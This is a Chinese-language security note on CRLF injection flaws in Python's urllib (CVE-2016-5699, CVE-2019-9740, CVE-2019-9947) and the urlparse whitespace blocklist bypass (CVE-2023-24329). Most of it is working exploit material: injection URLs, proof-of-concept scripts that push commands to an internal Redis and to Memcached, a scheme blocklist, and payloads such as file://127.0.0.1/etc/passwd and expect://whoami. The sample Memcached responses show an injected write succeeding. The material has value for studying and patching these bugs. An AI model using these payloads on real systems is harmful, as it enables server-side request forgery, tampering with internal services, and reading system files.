前言
参考:
CRLF注入漏洞
这个已经品鉴够多了,快点端下去吧,总之就是利用 回车+换行(\r\n
)注入自己的http请求体
CVE-2016-5699
版本:urllib2 and urllib in CPython (aka Python) before 2.7.10 and 3.x before 3.4.4
注入点:IP地址和端口号的分隔符即:
前面
http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
正常报文:
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345
注入后的报文:
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close
注:针对的是域名而非IP地址的场景进行利用的时候有个注意点,就是在域名后进行CRLF注入之前要插入一个空字符如%00
,这样才能顺利地进行DNS查询,如http://localhost%00%0d%0ax-bar:%20:12345/foo
CVE-2019-9740
版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
注入点:IP地址和端口号的分隔符即:
前面,但是和前者的区别在于注入新的端口
http://10.10.10.10:1234?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a
poc:
#!/usr/bin/env python3
import sys
import urllib
import urllib.error
import urllib.request
host = "192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
redis_att = '192.168.10.137:6379?\r\nSET hacker\r\n' # 打redis
url = "http://" + redis_att + ":8080/test/?test=a"
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
注入后的报文:
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close
CVE-2019-9947
版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3
注入点:在端口号后面
http://10.10.10.10:8080/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
http://10.10.10.10:8080/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
poc:
import urllib.request
urllib.request.urlopen('http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# urllib.request.urlopen('http://192.168.10.137:7777/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# 打内网redis
# urllib.request.urlopen('http://192.168.10.137:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n')
注入报文:
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close
GET /HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close
CVE-2023-24329
版本:Python < 3.12,Python 3.11.x < 3.11.4,Python 3.10.x < 3.10.12,Python 3.9.x < 3.9.17,Python 3.8.x < 3.8.17,Python 3.7.x < 3.7.17
描述:Python多个受影响版本中,当整个URL以空白字符开头时,urllib.parse
会出现解析问题(影响主机名和方案的解析),可以通过提供以空白字符开头的URL来绕过使用阻止列表实现的任何域或协议过滤方法
poc:https://github.com/H4R335HR/CVE-2023-24329-PoC/tree/main
import sys
import urllib.request
from urllib.parse import urlparse
# ANSI color codes
GREEN = '\033[92m'
RED = '\033[91m'
ENDC = '\033[0m'
explanation = '''
In this application, we have blocked certain URL schemes and hostnames by checking urlparse(input_link).scheme and urlparse(input_link).hostname with the following list:
block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
block_host = ["instagram.com", "youtube.com", "tiktok.com"]
Due to a flaw in how the urlparse splits the URL, you can bypass this blocklist by simply adding a leading space in the URL. Below are some URLs for you to try. Try them with and without leading spaces:
https://youtube.com
file://127.0.0.1/etc/passwd
data://text/plain, <?php phpinfo() ?>
expect://whoami
Based on research by Yebo Cao - https://pointernull.com/security/python-url-parse-problem.html
Your Python version is {}.
'''
def is_vulnerable():
python_version = sys.version_info
if python_version >= (3, 12):
return False
if (3, 11, 4) <= python_version < (3, 12):
return False
if (3, 10, 12) <= python_version < (3, 11):
return False
if (3, 9, 17) <= python_version < (3, 10):
return False
if (3, 8, 17) <= python_version < (3, 9):
return False
if (3, 7, 17) <= python_version < (3, 8):
return False
return True
def safe_url_opener(input_link):
block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
block_host = ["instagram.com", "youtube.com", "tiktok.com"]
input_scheme = urlparse(input_link).scheme
print("Input scheme is", input_scheme)
input_hostname = urlparse(input_link).hostname
print("Input hostname is", input_hostname)
if input_scheme in block_schemes:
print(GREEN+"Input scheme is forbidden"+ENDC)
return
if input_hostname in block_host:
print(GREEN+"Input hostname is forbidden"+ENDC)
return
try:
target = urllib.request.urlopen(input_link)
content = target.read()
print(content)
except Exception as e:
print("Error:", e)
def main():
python_version = sys.version
vuln_status = RED+"vulnerable"+ENDC if is_vulnerable() else GREEN+"not vulnerable"+ENDC
print(explanation.format(vuln_status))
num_links = 4 # Number of times to repeat
for _ in range(num_links):
input_link = input("Enter the link: ")
safe_url_opener(input_link)
if __name__ == "__main__":
main()
exp:https://github.com/JawadPy/CVE-2023-24329-Exploit/tree/main
# Python version: before 3.11.4
# CVE-2023-24329
import urllib.parse
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
攻击
Redis未授权
参考:https://security.tencent.com/index.php/blog/msg/106
Memcached未授权
http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo
报文如下:
GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211
当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行
下面是响应:
ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR